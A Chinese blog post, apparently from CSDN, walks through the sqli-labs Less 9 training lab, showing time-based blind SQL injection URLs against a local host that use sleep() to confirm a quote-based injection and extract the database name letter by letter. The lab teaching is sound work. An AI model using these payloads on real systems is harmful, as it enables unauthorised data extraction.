sqli-labs 通关教程 Less 9 (时间盲注)

最新推荐文章于 2024-07-22 20:14:04 发布

两小姐的便利贴

最新推荐文章于 2024-07-22 20:14:04 发布

阅读量2.6k

点赞数 1

分类专栏： sql 注入文章标签： sql 安全

两小姐的便利贴

本文链接：https://blog.csdn.net/weixin_47559704/article/details/121790629

版权

利用正常的语句测试没有任何效果

http://127.0.0.1/sqlilabs/Less-9/?id=1
http://127.0.0.1/sqlilabs/Less-9/?id=1'-- -

数据完成交互后目标网站没有任何的页面回显，这个时候可以使用时间盲注。

http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(1=1,sleep(3),1)-- -   //沉睡
http://127.0.0.1/sqlilabs/Less-9/?id=1 and if(1=1,sleep(3),1)    //无沉睡
说明为   '   字符型注入

爆数据库名

当判断正确时，页面会沉睡几秒，以此来爆出我们所需要的信息。

获取数据库长度
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(length(database())=8,sleep(3),1)-- -
获取数据库名的第一个字母  s
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- -
获取第二个字母  e
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)-- -
...</